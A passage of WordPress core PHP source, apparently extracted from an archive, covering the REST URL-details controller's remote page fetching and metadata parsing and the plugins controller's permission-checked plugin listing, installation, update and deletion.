	 * Retrieves the document title from a remote URL.
	 *
	 * @since 5.9.0
	 *
	 * @param string $url The website URL whose HTML to access.
	 * @return string|WP_Error The HTTP response from the remote URL on success.
	 *                         WP_Error if no response or no content.
	 */
	private function get_remote_url( $url ) {

		/*
		 * Provide a modified UA string to workaround web properties which block WordPress "Pingbacks".
		 * Why? The UA string used for pingback requests contains `WordPress/` which is very similar
		 * to that used as the default UA string by the WP HTTP API. Therefore requests from this
		 * REST endpoint are being unintentionally blocked as they are misidentified as pingback requests.
		 * By slightly modifying the UA string, but still retaining the "WordPress" identification (via "WP")
		 * we are able to work around this issue.
		 * Example UA string: `WP-URLDetails/5.9-alpha-51389 (+http://localhost:8888)`.
		*/
		$modified_user_agent = 'WP-URLDetails/' . get_bloginfo( 'version' ) . ' (+' . get_bloginfo( 'url' ) . ')';

		$args = array(
			'limit_response_size' => 150 * KB_IN_BYTES,
			'user-agent'          => $modified_user_agent,
		);

		/**
		 * Filters the HTTP request args for URL data retrieval.
		 *
		 * Can be used to adjust response size limit and other WP_Http::request() args.
		 *
		 * @since 5.9.0
		 *
		 * @param array  $args Arguments used for the HTTP request.
		 * @param string $url  The attempted URL.
		 */
		$args = apply_filters( 'rest_url_details_http_request_args', $args, $url );

		$response = wp_safe_remote_get( $url, $args );

		if ( WP_Http::OK !== wp_remote_retrieve_response_code( $response ) ) {
			// Not saving the error response to cache since the error might be temporary.
			return new WP_Error(
				'no_response',
				__( 'URL not found. Response returned a non-200 status code for this URL.' ),
				array( 'status' => WP_Http::NOT_FOUND )
			);
		}

		$remote_body = wp_remote_retrieve_body( $response );

		if ( empty( $remote_body ) ) {
			return new WP_Error(
				'no_content',
				__( 'Unable to retrieve body from response at this URL.' ),
				array( 'status' => WP_Http::NOT_FOUND )
			);
		}

		return $remote_body;
	}

	/**
	 * Parses the title tag contents from the provided HTML.
	 *
	 * @since 5.9.0
	 *
	 * @param string $html The HTML from the remote website at URL.
	 * @return string The title tag contents on success. Empty string if not found.
	 */
	private function get_title( $html ) {
		$pattern = '#<title[^>]*>(.*?)<\s*/\s*title>#is';
		preg_match( $pattern, $html, $match_title );

		if ( empty( $match_title[1] ) || ! is_string( $match_title[1] ) ) {
			return '';
		}

		$title = trim( $match_title[1] );

		return $this->prepare_metadata_for_output( $title );
	}

	/**
	 * Parses the site icon from the provided HTML.
	 *
	 * @since 5.9.0
	 *
	 * @param string $html The HTML from the remote website at URL.
	 * @param string $url  The target website URL.
	 * @return string The icon URI on success. Empty string if not found.
	 */
	private function get_icon( $html, $url ) {
		// Grab the icon's link element.
		$pattern = '#<link\s[^>]*rel=(?:[\"\']??)\s*(?:icon|shortcut icon|icon shortcut)\s*(?:[\"\']??)[^>]*\/?>#isU';
		preg_match( $pattern, $html, $element );
		if ( empty( $element[0] ) || ! is_string( $element[0] ) ) {
			return '';
		}
		$element = trim( $element[0] );

		// Get the icon's href value.
		$pattern = '#href=([\"\']??)([^\" >]*?)\\1[^>]*#isU';
		preg_match( $pattern, $element, $icon );
		if ( empty( $icon[2] ) || ! is_string( $icon[2] ) ) {
			return '';
		}
		$icon = trim( $icon[2] );

		// If the icon is a data URL, return it.
		$parsed_icon = parse_url( $icon );
		if ( isset( $parsed_icon['scheme'] ) && 'data' === $parsed_icon['scheme'] ) {
			return $icon;
		}

		// Attempt to convert relative URLs to absolute.
		if ( ! is_string( $url ) || '' === $url ) {
			return $icon;
		}
		$parsed_url = parse_url( $url );
		if ( isset( $parsed_url['scheme'] ) && isset( $parsed_url['host'] ) ) {
			$root_url = $parsed_url['scheme'] . '://' . $parsed_url['host'] . '/';
			$icon     = WP_Http::make_absolute_url( $icon, $root_url );
		}

		return $icon;
	}

	/**
	 * Parses the meta description from the provided HTML.
	 *
	 * @since 5.9.0
	 *
	 * @param array $meta_elements {
	 *     A multidimensional indexed array on success, else empty array.
	 *
	 *     @type string[] $0 Meta elements with a content attribute.
	 *     @type string[] $1 Content attribute's opening quotation mark.
	 *     @type string[] $2 Content attribute's value for each meta element.
	 * }
	 * @return string The meta description contents on success. Empty string if not found.
	 */
	private function get_description( $meta_elements ) {
		// Bail out if there are no meta elements.
		if ( empty( $meta_elements[0] ) ) {
			return '';
		}

		$description = $this->get_metadata_from_meta_element(
			$meta_elements,
			'name',
			'(?:description|og:description)'
		);

		// Bail out if description not found.
		if ( '' === $description ) {
			return '';
		}

		return $this->prepare_metadata_for_output( $description );
	}

	/**
	 * Parses the Open Graph (OG) Image from the provided HTML.
	 *
	 * See: https://ogp.me/.
	 *
	 * @since 5.9.0
	 *
	 * @param array  $meta_elements {
	 *     A multidimensional indexed array on success, else empty array.
	 *
	 *     @type string[] $0 Meta elements with a content attribute.
	 *     @type string[] $1 Content attribute's opening quotation mark.
	 *     @type string[] $2 Content attribute's value for each meta element.
	 * }
	 * @param string $url The target website URL.
	 * @return string The OG image on success. Empty string if not found.
	 */
	private function get_image( $meta_elements, $url ) {
		$image = $this->get_metadata_from_meta_element(
			$meta_elements,
			'property',
			'(?:og:image|og:image:url)'
		);

		// Bail out if image not found.
		if ( '' === $image ) {
			return '';
		}

		// Attempt to convert relative URLs to absolute.
		$parsed_url = parse_url( $url );
		if ( isset( $parsed_url['scheme'] ) && isset( $parsed_url['host'] ) ) {
			$root_url = $parsed_url['scheme'] . '://' . $parsed_url['host'] . '/';
			$image    = WP_Http::make_absolute_url( $image, $root_url );
		}

		return $image;
	}

	/**
	 * Prepares the metadata by:
	 *    - stripping all HTML tags and tag entities.
	 *    - converting non-tag entities into characters.
	 *
	 * @since 5.9.0
	 *
	 * @param string $metadata The metadata content to prepare.
	 * @return string The prepared metadata.
	 */
	private function prepare_metadata_for_output( $metadata ) {
		$metadata = html_entity_decode( $metadata, ENT_QUOTES, get_bloginfo( 'charset' ) );
		$metadata = wp_strip_all_tags( $metadata );
		return $metadata;
	}

	/**
	 * Utility function to build cache key for a given URL.
	 *
	 * @since 5.9.0
	 *
	 * @param string $url The URL for which to build a cache key.
	 * @return string The cache key.
	 */
	private function build_cache_key_for_url( $url ) {
		return 'g_url_details_response_' . md5( $url );
	}

	/**
	 * Utility function to retrieve a value from the cache at a given key.
	 *
	 * @since 5.9.0
	 *
	 * @param string $key The cache key.
	 * @return mixed The value from the cache.
	 */
	private function get_cache( $key ) {
		return get_site_transient( $key );
	}

	/**
	 * Utility function to cache a given data set at a given cache key.
	 *
	 * @since 5.9.0
	 *
	 * @param string $key  The cache key under which to store the value.
	 * @param string $data The data to be stored at the given cache key.
	 * @return bool True when transient set. False if not set.
	 */
	private function set_cache( $key, $data = '' ) {
		$ttl = HOUR_IN_SECONDS;

		/**
		 * Filters the cache expiration.
		 *
		 * Can be used to adjust the time until expiration in seconds for the cache
		 * of the data retrieved for the given URL.
		 *
		 * @since 5.9.0
		 *
		 * @param int $ttl The time until cache expiration in seconds.
		 */
		$cache_expiration = apply_filters( 'rest_url_details_cache_expiration', $ttl );

		return set_site_transient( $key, $data, $cache_expiration );
	}

	/**
	 * Retrieves the head element section.
	 *
	 * @since 5.9.0
	 *
	 * @param string $html The string of HTML to parse.
	 * @return string The `<head>..</head>` section on success. Given `$html` if not found.
	 */
	private function get_document_head( $html ) {
		$head_html = $html;

		// Find the opening `<head>` tag.
		$head_start = strpos( $html, '<head' );
		if ( false === $head_start ) {
			// Didn't find it. Return the original HTML.
			return $html;
		}

		// Find the closing `</head>` tag.
		$head_end = strpos( $head_html, '</head>' );
		if ( false === $head_end ) {
			// Didn't find it. Find the opening `<body>` tag.
			$head_end = strpos( $head_html, '<body' );

			// Didn't find it. Return the original HTML.
			if ( false === $head_end ) {
				return $html;
			}
		}

		// Extract the HTML from opening tag to the closing tag. Then add the closing tag.
		$head_html  = substr( $head_html, $head_start, $head_end );
		$head_html .= '</head>';

		return $head_html;
	}

	/**
	 * Gets all the meta tag elements that have a 'content' attribute.
	 *
	 * @since 5.9.0
	 *
	 * @param string $html The string of HTML to be parsed.
	 * @return array {
	 *     A multidimensional indexed array on success, else empty array.
	 *
	 *     @type string[] $0 Meta elements with a content attribute.
	 *     @type string[] $1 Content attribute's opening quotation mark.
	 *     @type string[] $2 Content attribute's value for each meta element.
	 * }
	 */
	private function get_meta_with_content_elements( $html ) {
		/*
		 * Parse all meta elements with a content attribute.
		 *
		 * Why first search for the content attribute rather than directly searching for name=description element?
		 * tl;dr The content attribute's value will be truncated when it contains a > symbol.
		 *
		 * The content attribute's value (i.e. the description to get) can have HTML in it and be well-formed as
		 * it's a string to the browser. Imagine what happens when attempting to match for the name=description
		 * first. Hmm, if a > or /> symbol is in the content attribute's value, then it terminates the match
		 * as the element's closing symbol. But wait, it's in the content attribute and is not the end of the
		 * element. This is a limitation of using regex. It can't determine "wait a minute this is inside of quotation".
		 * If this happens, what gets matched is not the entire element or all of the content.
		 *
		 * Why not search for the name=description and then content="(.*)"?
		 * The attribute order could be opposite. Plus, additional attributes may exist including being between
		 * the name and content attributes.
		 *
		 * Why not lookahead?
		 * Lookahead is not constrained to stay within the element. The first <meta it finds may not include
		 * the name or content, but rather could be from a different element downstream.
		 */
		$pattern = '#<meta\s' .

				/*
				 * Allows for additional attributes before the content attribute.
				 * Searches for anything other than > symbol.
				 */
				'[^>]*' .

				/*
				* Find the content attribute. When found, capture its value (.*).
				*
				* Allows for (a) single or double quotes and (b) whitespace in the value.
				*
				* Why capture the opening quotation mark, i.e. (["\']), and then backreference,
				* i.e \1, for the closing quotation mark?
				* To ensure the closing quotation mark matches the opening one. Why? Attribute values
				* can contain quotation marks, such as an apostrophe in the content.
				*/
				'content=(["\']??)(.*)\1' .

				/*
				* Allows for additional attributes after the content attribute.
				* Searches for anything other than > symbol.
				*/
				'[^>]*' .

				/*
				* \/?> searches for the closing > symbol, which can be in either /> or > format.
				* # ends the pattern.
				*/
				'\/?>#' .

				/*
				* These are the options:
				* - i : case-insensitive
				* - s : allows newline characters for the . match (needed for multiline elements)
				* - U means non-greedy matching
				*/
				'isU';

		preg_match_all( $pattern, $html, $elements );

		return $elements;
	}

	/**
	 * Gets the metadata from a target meta element.
	 *
	 * @since 5.9.0
	 *
	 * @param array  $meta_elements {
	 *     A multi-dimensional indexed array on success, else empty array.
	 *
	 *     @type string[] $0 Meta elements with a content attribute.
	 *     @type string[] $1 Content attribute's opening quotation mark.
	 *     @type string[] $2 Content attribute's value for each meta element.
	 * }
	 * @param string $attr       Attribute that identifies the element with the target metadata.
	 * @param string $attr_value The attribute's value that identifies the element with the target metadata.
	 * @return string The metadata on success. Empty string if not found.
	 */
	private function get_metadata_from_meta_element( $meta_elements, $attr, $attr_value ) {
		// Bail out if there are no meta elements.
		if ( empty( $meta_elements[0] ) ) {
			return '';
		}

		$metadata = '';
		$pattern  = '#' .
				/*
				 * Target this attribute and value to find the metadata element.
				 *
				 * Allows for (a) no, single, double quotes and (b) whitespace in the value.
				 *
				 * Why capture the opening quotation mark, i.e. (["\']), and then backreference,
				 * i.e \1, for the closing quotation mark?
				 * To ensure the closing quotation mark matches the opening one. Why? Attribute values
				 * can contain quotation marks, such as an apostrophe in the content.
				 */
				$attr . '=([\"\']??)\s*' . $attr_value . '\s*\1' .

				/*
				 * These are the options:
				 * - i : case-insensitive
				 * - s : allows newline characters for the . match (needed for multiline elements)
				 * - U means non-greedy matching
				 */
				'#isU';

		// Find the metadata element.
		foreach ( $meta_elements[0] as $index => $element ) {
			preg_match( $pattern, $element, $match );

			// This is not the metadata element. Skip it.
			if ( empty( $match ) ) {
				continue;
			}

			/*
			 * Found the metadata element.
			 * Get the metadata from its matching content array.
			 */
			if ( isset( $meta_elements[2][ $index ] ) && is_string( $meta_elements[2][ $index ] ) ) {
				$metadata = trim( $meta_elements[2][ $index ] );
			}

			break;
		}

		return $metadata;
	}
}
endpoints/class-wp-rest-plugins-controller.php000064400000067561151024200430015632 0ustar00<?php
/**
 * REST API: WP_REST_Plugins_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.5.0
 */

/**
 * Core class to access plugins via the REST API.
 *
 * @since 5.5.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Plugins_Controller extends WP_REST_Controller {

	const PATTERN = '[^.\/]+(?:\/[^.\/]+)?';

	/**
	 * Plugins controller constructor.
	 *
	 * @since 5.5.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'plugins';
	}

	/**
	 * Registers the routes for the plugins controller.
	 *
	 * @since 5.5.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => array(
						'slug'   => array(
							'type'        => 'string',
							'required'    => true,
							'description' => __( 'WordPress.org plugin directory slug.' ),
							'pattern'     => '[\w\-]+',
						),
						'status' => array(
							'description' => __( 'The plugin activation status.' ),
							'type'        => 'string',
							'enum'        => is_multisite() ? array( 'inactive', 'active', 'network-active' ) : array( 'inactive', 'active' ),
							'default'     => 'inactive',
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<plugin>' . self::PATTERN . ')',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
				),
				'args'   => array(
					'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					'plugin'  => array(
						'type'              => 'string',
						'pattern'           => self::PATTERN,
						'validate_callback' => array( $this, 'validate_plugin_param' ),
						'sanitize_callback' => array( $this, 'sanitize_plugin_param' ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to get plugins.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( ! current_user_can( 'activate_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_view_plugins',
				__( 'Sorry, you are not allowed to manage plugins for this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves a collection of plugins.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		$plugins = array();

		foreach ( get_plugins() as $file => $data ) {
			if ( is_wp_error( $this->check_read_permission( $file ) ) ) {
				continue;
			}

			$data['_file'] = $file;

			if ( ! $this->does_plugin_match_request( $request, $data ) ) {
				continue;
			}

			$plugins[] = $this->prepare_response_for_collection( $this->prepare_item_for_response( $data, $request ) );
		}

		return new WP_REST_Response( $plugins );
	}

	/**
	 * Checks if a given request has access to get a specific plugin.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		if ( ! current_user_can( 'activate_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_view_plugin',
				__( 'Sorry, you are not allowed to manage plugins for this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$can_read = $this->check_read_permission( $request['plugin'] );

		if ( is_wp_error( $can_read ) ) {
			return $can_read;
		}

		return true;
	}

	/**
	 * Retrieves one plugin from the site.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		$data = $this->get_plugin_data( $request['plugin'] );

		if ( is_wp_error( $data ) ) {
			return $data;
		}

		return $this->prepare_item_for_response( $data, $request );
	}

	/**
	 * Checks if the given plugin can be viewed by the current user.
	 *
	 * On multisite, this hides non-active network only plugins if the user does not have permission
	 * to manage network plugins.
	 *
	 * @since 5.5.0
	 *
	 * @param string $plugin The plugin file to check.
	 * @return true|WP_Error True if can read, a WP_Error instance otherwise.
	 */
	protected function check_read_permission( $plugin ) {
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		if ( ! $this->is_plugin_installed( $plugin ) ) {
			return new WP_Error( 'rest_plugin_not_found', __( 'Plugin not found.' ), array( 'status' => 404 ) );
		}

		if ( ! is_multisite() ) {
			return true;
		}

		if ( ! is_network_only_plugin( $plugin ) || is_plugin_active( $plugin ) || current_user_can( 'manage_network_plugins' ) ) {
			return true;
		}

		return new WP_Error(
			'rest_cannot_view_plugin',
			__( 'Sorry, you are not allowed to manage this plugin.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Checks if a given request has access to upload plugins.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		if ( ! current_user_can( 'install_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_install_plugin',
				__( 'Sorry, you are not allowed to install plugins on this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( 'inactive' !== $request['status'] && ! current_user_can( 'activate_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_activate_plugin',
				__( 'Sorry, you are not allowed to activate plugins.' ),
				array(
					'status' => rest_authorization_required_code(),
				)
			);
		}

		return true;
	}

	/**
	 * Uploads a plugin and optionally activates it.
	 *
	 * @since 5.5.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		global $wp_filesystem;

		require_once ABSPATH . 'wp-admin/includes/file.php';
		require_once ABSPATH . 'wp-admin/includes/plugin.php';
		require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
		require_once ABSPATH . 'wp-admin/includes/plugin-install.php';

		$slug = $request['slug'];

		// Verify filesystem is accessible first.
		$filesystem_available = $this->is_filesystem_available();
		if ( is_wp_error( $filesystem_available ) ) {
			return $filesystem_available;
		}

		$api = plugins_api(
			'plugin_information',
			array(
				'slug'   => $slug,
				'fields' => array(
					'sections'       => false,
					'language_packs' => true,
				),
			)
		);

		if ( is_wp_error( $api ) ) {
			if ( str_contains( $api->get_error_message(), 'Plugin not found.' ) ) {
				$api->add_data( array( 'status' => 404 ) );
			} else {
				$api->add_data( array( 'status' => 500 ) );
			}

			return $api;
		}

		$skin     = new WP_Ajax_Upgrader_Skin();
		$upgrader = new Plugin_Upgrader( $skin );

		$result = $upgrader->install( $api->download_link );

		if ( is_wp_error( $result ) ) {
			$result->add_data( array( 'status' => 500 ) );

			return $result;
		}

		// This should be the same as $result above.
		if ( is_wp_error( $skin->result ) ) {
			$skin->result->add_data( array( 'status' => 500 ) );

			return $skin->result;
		}

		if ( $skin->get_errors()->has_errors() ) {
			$error = $skin->get_errors();
			$error->add_data( array( 'status' => 500 ) );

			return $error;
		}

		if ( is_null( $result ) ) {
			// Pass through the error from WP_Filesystem if one was raised.
			if ( $wp_filesystem instanceof WP_Filesystem_Base
				&& is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors()
			) {
				return new WP_Error(
					'unable_to_connect_to_filesystem',
					$wp_filesystem->errors->get_error_message(),
					array( 'status' => 500 )
				);
			}

			return new WP_Error(
				'unable_to_connect_to_filesystem',
				__( 'Unable to connect to the filesystem. Please confirm your credentials.' ),
				array( 'status' => 500 )
			);
		}

		$file = $upgrader->plugin_info();

		if ( ! $file ) {
			return new WP_Error(
				'unable_to_determine_installed_plugin',
				__( 'Unable to determine what plugin was installed.' ),
				array( 'status' => 500 )
			);
		}

		if ( 'inactive' !== $request['status'] ) {
			$can_change_status = $this->plugin_status_permission_check( $file, $request['status'], 'inactive' );

			if ( is_wp_error( $can_change_status ) ) {
				return $can_change_status;
			}

			$changed_status = $this->handle_plugin_status( $file, $request['status'], 'inactive' );

			if ( is_wp_error( $changed_status ) ) {
				return $changed_status;
			}
		}

		// Install translations.
		$installed_locales = array_values( get_available_languages() );
		/** This filter is documented in wp-includes/update.php */
		$installed_locales = apply_filters( 'plugins_update_check_locales', $installed_locales );

		$language_packs = array_map(
			static function ( $item ) {
				return (object) $item;
			},
			$api->language_packs
		);

		$language_packs = array_filter(
			$language_packs,
			static function ( $pack ) use ( $installed_locales ) {
				return in_array( $pack->language, $installed_locales, true );
			}
		);

		if ( $language_packs ) {
			$lp_upgrader = new Language_Pack_Upgrader( $skin );

			// Install all applicable language packs for the plugin.
			$lp_upgrader->bulk_upgrade( $language_packs );
		}

		$path          = WP_PLUGIN_DIR . '/' . $file;
		$data          = get_plugin_data( $path, false, false );
		$data['_file'] = $file;

		$response = $this->prepare_item_for_response( $data, $request );
		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, substr( $file, 0, - 4 ) ) ) );

		return $response;
	}

	/**
	 * Checks if a given request has access to update a specific plugin.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		if ( ! current_user_can( 'activate_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_manage_plugins',
				__( 'Sorry, you are not allowed to manage plugins for this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$can_read = $this->check_read_permission( $request['plugin'] );

		if ( is_wp_error( $can_read ) ) {
			return $can_read;
		}

		$status = $this->get_plugin_status( $request['plugin'] );

		if ( $request['status'] && $status !== $request['status'] ) {
			$can_change_status = $this->plugin_status_permission_check( $request['plugin'], $request['status'], $status );

			if ( is_wp_error( $can_change_status ) ) {
				return $can_change_status;
			}
		}

		return true;
	}

	/**
	 * Updates one plugin.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		$data = $this->get_plugin_data( $request['plugin'] );

		if ( is_wp_error( $data ) ) {
			return $data;
		}

		$status = $this->get_plugin_status( $request['plugin'] );

		if ( $request['status'] && $status !== $request['status'] ) {
			$handled = $this->handle_plugin_status( $request['plugin'], $request['status'], $status );

			if ( is_wp_error( $handled ) ) {
				return $handled;
			}
		}

		$this->update_additional_fields_for_object( $data, $request );

		$request['context'] = 'edit';

		return $this->prepare_item_for_response( $data, $request );
	}

	/**
	 * Checks if a given request has access to delete a specific plugin.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		if ( ! current_user_can( 'activate_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_manage_plugins',
				__( 'Sorry, you are not allowed to manage plugins for this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! current_user_can( 'delete_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_manage_plugins',
				__( 'Sorry, you are not allowed to delete plugins for this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$can_read = $this->check_read_permission( $request['plugin'] );

		if ( is_wp_error( $can_read ) ) {
			return $can_read;
		}

		return true;
	}

	/**
	 * Deletes one plugin from the site.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		require_once ABSPATH . 'wp-admin/includes/file.php';
		require_once ABSPATH . 'wp-admin/includes/plugin.php';

		$data = $this->get_plugin_data( $request['plugin'] );

		if ( is_wp_error( $data ) ) {
			return $data;
		}

		if ( is_plugin_active( $request['plugin'] ) ) {
			return new WP_Error(
				'rest_cannot_delete_active_plugin',
				__( 'Cannot delete an active plugin. Please deactivate it first.' ),
				array( 'status' => 400 )
			);
		}

		$filesystem_available = $this->is_filesystem_available();
		if ( is_wp_error( $filesystem_available ) ) {
			return $filesystem_available;
		}

		$prepared = $this->prepare_item_for_response( $data, $request );
		$deleted  = delete_plugins( array( $request['plugin'] ) );

		if ( is_wp_error( $deleted ) ) {
			$deleted->add_data( array( 'status' => 500 ) );

			return $deleted;
		}

		return new WP_REST_Response(
			array(
				'deleted'  => true,
				'previous' => $prepared->get_data(),
			)
		);
	}

	/**
	 * Prepares the plugin for the REST response.
	 *
	 * @since 5.5.0
	 *
	 * @param array           $item    Unmarked up and untranslated plugin data from {@see get_plugin_data()}.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$fields = $this->get_fields_for_response( $request );

		$item   = _get_plugin_data_markup_translate( $item['_file'], $item, false );
		$marked = _get_plugin_data_markup_translate( $item['_file'], $item, true );

		$data = array(
			'plugin'       => substr( $item['_file'], 0, - 4 ),
			'status'       => $this->get_plugin_status( $item['_file'] ),
			'name'         => $item['Name'],
			'plugin_uri'   => $item['PluginURI'],
			'author'       => $item['Author'],
			'author_uri'   => $item['AuthorURI'],
			'description'  => array(
				'raw'      => $item['Description'],
				'rendered' => $marked['Description'],
			),
			'version'      => $item['Version'],
			'network_only' => $item['Network'],
			'requires_wp'  => $item['RequiresWP'],
			'requires_php' => $item['RequiresPHP'],
			'textdomain'   => $item['TextDomain'],
		);

		$data = $this->add_additional_fields_to_object( $data, $request );

		$response = new WP_REST_Response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $item ) );
		}

		/**
		 * Filters plugin data for a REST API response.
		 *
		 * @since 5.5.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param array            $item     The plugin item from {@see get_plugin_data()}.
		 * @param WP_REST_Request  $request  The request object.
		 */
		return apply_filters( 'rest_prepare_plugin', $response, $item, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.5.0
	 *
	 * @param array $item The plugin item.
	 * @return array[]
	 */
	protected function prepare_links( $item ) {
		return array(
			'self' => array(
				'href' => rest_url(
					sprintf(
						'%s/%s/%s',
						$this->namespace,
						$this->rest_base,
						substr( $item['_file'], 0, - 4 )
					)
				),
			),
		);
	}

	/**
	 * Gets the plugin header data for a plugin.
	 *
	 * @since 5.5.0
	 *
	 * @param string $plugin The plugin file to get data for.
	 * @return array|WP_Error The plugin data, or a WP_Error if the plugin is not installed.
	 */
	protected function get_plugin_data( $plugin ) {
		$plugins = get_plugins();

		if ( ! isset( $plugins[ $plugin ] ) ) {
			return new WP_Error( 'rest_plugin_not_found', __( 'Plugin not found.' ), array( 'status' => 404 ) );
		}

		$data          = $plugins[ $plugin ];
		$data['_file'] = $plugin;

		return $data;
	}

	/**
	 * Get's the activation status for a plugin.
	 *
	 * @since 5.5.0
	 *
	 * @param string $plugin The plugin file to check.
	 * @return string Either 'network-active', 'active' or 'inactive'.
	 */
	protected function get_plugin_status( $plugin ) {
		if ( is_plugin_active_for_network( $plugin ) ) {
			return 'network-active';
		}

		if ( is_plugin_active( $plugin ) ) {
			return 'active';
		}

		return 'inactive';
	}

	/**
	 * Handle updating a plugin's status.
	 *
	 * @since 5.5.0
	 *
	 * @param string $plugin         The plugin file to update.
	 * @param string $new_status     The plugin's new status.
	 * @param string $current_status The plugin's current status.
	 * @return true|WP_Error
	 */
	protected function plugin_status_permission_check( $plugin, $new_status, $current_status ) {
		if ( is_multisite() && ( 'network-active' === $current_status || 'network-active' === $new_status ) && ! current_user_can( 'manage_network_plugins' ) ) {
			return new WP_Error(
				'rest_cannot_manage_network_plugins',
				__( 'Sorry, you are not allowed to manage network plugins.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ( 'active' === $new_status || 'network-active' === $new_status ) && ! current_user_can( 'activate_plugin', $plugin ) ) {
			return new WP_Error(
				'rest_cannot_activate_plugin',
				__( 'Sorry, you are not allowed to activate this plugin.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( 'inactive' === $new_status && ! current_user_can( 'deactivate_plugin', $plugin ) ) {
			return new WP_Error(
				'rest_cannot_deactivate_plugin',
				__( 'Sorry, you are not allowed to deactivate this plugin.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Handle updating a plugin's status.
	 *
	 * @since 5.5.0
	 *
	 * @param string $plugin         The plugin file to update.
	 * @param string $new_status     The plugin's new status.
	 * @param string $current_status The plugin's current status.
	 * @return true|WP_Error
	 */
	protected function handle_plugin_status( $plugin, $new_status, $current_status ) {
		if ( 'inactive' === $new_status ) {
			deactivate_plugins( $plugin, false, 'network-active' === $current_status );

			return true;
		}
